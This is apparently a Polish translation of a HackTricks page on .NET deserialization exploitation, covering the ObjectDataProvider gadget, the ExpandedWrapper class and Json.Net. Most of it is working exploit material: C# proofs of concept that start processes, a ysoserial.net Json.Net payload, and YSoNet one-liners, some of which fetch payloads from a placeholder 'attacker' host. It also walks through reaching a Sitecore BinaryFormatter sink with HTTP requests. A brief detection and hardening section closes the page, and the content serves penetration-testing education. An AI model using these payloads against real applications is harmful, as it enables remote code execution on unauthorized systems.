Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 9 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ten wpis ma na celu wyjaśnić, jak gadget ObjectDataProvider jest wykorzystywany do uzyskania RCE oraz w jaki sposób biblioteki serializacji Json.Net i xmlSerializer mogą być nadużyte z użyciem tego gadgetu.
ObjectDataProvider Gadget
Z dokumentacji: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
No cóż, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma takiego interesującego: Ta klasa pozwala opakować dowolny obiekt, użyć MethodParameters aby ustawić dowolne parametry, a następnie użyć MethodName, aby wywołać dowolną funkcję opakowanego obiektu z przekazanymi parametrami.
W związku z tym dowolny obiekt będzie wykonywał funkcję z parametrami podczas deserializacji.
Jak to jest możliwe
Przestrzeń nazw System.Windows.Data, znajdująca się w PresentationFramework.dll pod C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, to miejsce, gdzie zdefiniowano i zaimplementowano ObjectDataProvider.
Używając dnSpy możesz zajrzeć do kodu klasy, która nas interesuje. Na obrazku poniżej widzimy kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Jak widać, gdy ustawiony zostaje MethodName
, wywoływana jest metoda base.Refresh()
; przyjrzyjmy się, co ona robi:
Ok, kontynuujmy i zobaczmy, co robi this.BeginQuery()
. BeginQuery
jest przesłonięte przez ObjectDataProvider
i oto co robi:
Zauważ, że na końcu kod wywołuje this.QueryWorke(null)
. Zobaczmy, co to wykonuje:
Zauważ, że to nie jest cały kod funkcji QueryWorker
, ale pokazuje interesującą część: Kod wywołuje this.InvokeMethodOnInstance(out ex);
— to właśnie linia, w której zestaw metod jest wywoływany.
Jeśli chcesz sprawdzić, że samo ustawienie MethodName spowoduje jego wykonanie, możesz uruchomić ten kod:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Uwaga, trzeba dodać jako odwołanie C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll aby załadować System.Windows.Data
ExpandedWrapper
Używając poprzedniego exploita będą przypadki, gdzie obiekt zostanie zdeserializowany jako instancja ObjectDataProvider (na przykład w DotNetNuke vuln, używając XmlSerializer obiekt został zdeserializowany za pomocą GetType
). Wtedy nie będzie znajomości typu obiektu, który jest opakowany w instancji ObjectDataProvider (na przykład Process
). You can find more information about the DotNetNuke vuln here.
Ta klasa pozwala określić typy obiektów, które są enkapsulowane w danej instancji. Tak więc, ta klasa może być użyta do zapakowania obiektu źródłowego (ObjectDataProvider) w nowy typ obiektu i dostarczenia potrzebnych właściwości (ObjectDataProvider.MethodName oraz ObjectDataProvider.MethodParameters).
To jest bardzo przydatne w przypadkach takich jak przedstawiony wcześniej, ponieważ będziemy mogli opakować _ObjectDataProvider** wewnątrz **ExpandedWrapper _ instancji i po zdeserializowaniu ta klasa utworzy obiekt OjectDataProvider który wykona funkcję wskazaną w MethodName.
Możesz sprawdzić ten wrapper za pomocą następującego kodu:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
W official web page jest wskazane, że ta biblioteka pozwala Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Zatem, jeśli moglibyśmy deserialize the ObjectDataProvider gadget, moglibyśmy spowodować RCE tylko poprzez deserializację obiektu.
Json.Net example
Najpierw zobaczmy przykład, jak serialize/deserialize obiekt przy użyciu tej biblioteki:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Wykorzystywanie Json.Net
Używając ysoserial.net stworzyłem exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
W tym kodzie możesz test the exploit, po prostu uruchom go i zobaczysz, że calc zostanie uruchomiony:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Zaawansowane łańcuchy gadgetów .NET (YSoNet & ysoserial.net)
Technika ObjectDataProvider + ExpandedWrapper opisana powyżej to tylko jeden z WIELU łańcuchów gadgetów, które można wykorzystać, gdy aplikacja wykonuje niebezpieczną deserializację .NET. Nowoczesne narzędzia red-teamowe, takie jak YSoNet (oraz starszy ysoserial.net), automatyzują tworzenie gotowych do użycia złośliwych grafów obiektów dla dziesiątek gadgetów i formatów serializacji.
Poniżej znajduje się skondensowany przegląd najużyteczniejszych łańcuchów dostarczanych z YSoNet wraz z krótkim wyjaśnieniem działania i przykładowymi poleceniami do wygenerowania payloadów.
Gadget Chain | Główna idea / prymityw | Popularne serializery | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Uszkadza rekord DelegateSerializationHolder tak, że po zmaterializowaniu delegat wskazuje na dowolną metodę dostarczoną przez atakującego (np. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Wykorzystuje System.Workflow.ComponentModel.ActivitySurrogateSelector , aby ominięć filtrowanie typów .NET ≥4.8 i bezpośrednio wywołać konstruktor podanej klasy lub skomilować plik C# w locie | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Wykorzystuje stare reprezentacje XML System.Data.DataSet , aby zainstancjonować dowolne typy poprzez wypełnienie pól <ColumnMapping> / <DataType> (opcjonalnie podszywając się pod assembly przy użyciu --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | Na środowiskach z WPF (> .NET 5) łączy gettery właściwości aż do System.CodeDom.Compiler.CompilerResults , a następnie kompiluje lub ładuje DLL dostarczone przez -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (przypomnienie) | Używa WPF System.Windows.Data.ObjectDataProvider do wywołania dowolnej statycznej metody z kontrolowanymi argumentami. YSoNet dodaje wygodny wariant --xamlurl do zdalnego hostowania złośliwego XAML | BinaryFormatter , Json.NET , XAML , itd. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Osadza ScriptBlock w System.Management.Automation.PSObject , który wykonuje się podczas deserializacji obiektu przez PowerShell | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Wszystkie payloady są domyślnie zapisywane na stdout, co ułatwia przekierowywanie ich do innych narzędzi (np. generatorów ViewState, enkoderów base64, klientów HTTP).
Budowanie / instalacja YSoNet
Jeśli pod Actions ➜ Artifacts / Releases nie ma dostępnych skompilowanych binarek, poniższy jednowierszowy skrypt PowerShell skonfiguruje środowisko budowania, sklonuje repozytorium i skompiluje wszystko w trybie Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Skompilowany ysonet.exe
znajduje się w ysonet/bin/Release/
.
Wykrywanie i utwardzanie
- Wykrywaj nieoczekiwane procesy potomne
w3wp.exe
,PowerShell.exe
lub dowolnego procesu deserializującego dane dostarczone przez użytkownika (np.MessagePack
,Json.NET
). - Włącz i wymuś filtrowanie typów (
TypeFilterLevel
= Full, niestandardowySurrogateSelector
,SerializationBinder
, itd.) kiedy nie można usunąć przestarzałegoBinaryFormatter
/NetDataContractSerializer
. - Tam, gdzie to możliwe, migruj do
System.Text.Json
lubDataContractJsonSerializer
z konwerterami opartymi na białej liście. - Zablokuj niebezpieczne biblioteki WPF (
PresentationFramework
,System.Workflow.*
) przed załadowaniem w procesach webowych, które nigdy nie powinny ich potrzebować.
Rzeczywisty sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Praktyczny .NET sink dostępny w uwierzytelnionych przepływach Sitecore XP Content Editor:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
wywołujenew BinaryFormatter().Deserialize(...)
. - Ścieżka wyzwalająca: pipeline
convertToRuntimeHtml
→ConvertWebControls
, który wyszukuje elementu-sąsiada zid="{iframeId}_inner"
i odczytuje atrybutvalue
, który jest traktowany jako dane zserializowane zakodowane w base64. Wynik jest rzutowany na string i wstawiany do HTML.
Minimalny end‑to‑end (uwierzytelniony):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: dowolny łańcuch BinaryFormatter zwracający string (efekty uboczne są uruchamiane podczas deserializacji). Zobacz YSoNet/ysoserial.net, aby wygenerować payloads.
Dla pełnego łańcucha, który zaczyna się pre‑auth od HTML cache poisoning w Sitecore i prowadzi do tego sinka:
Odnośniki
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.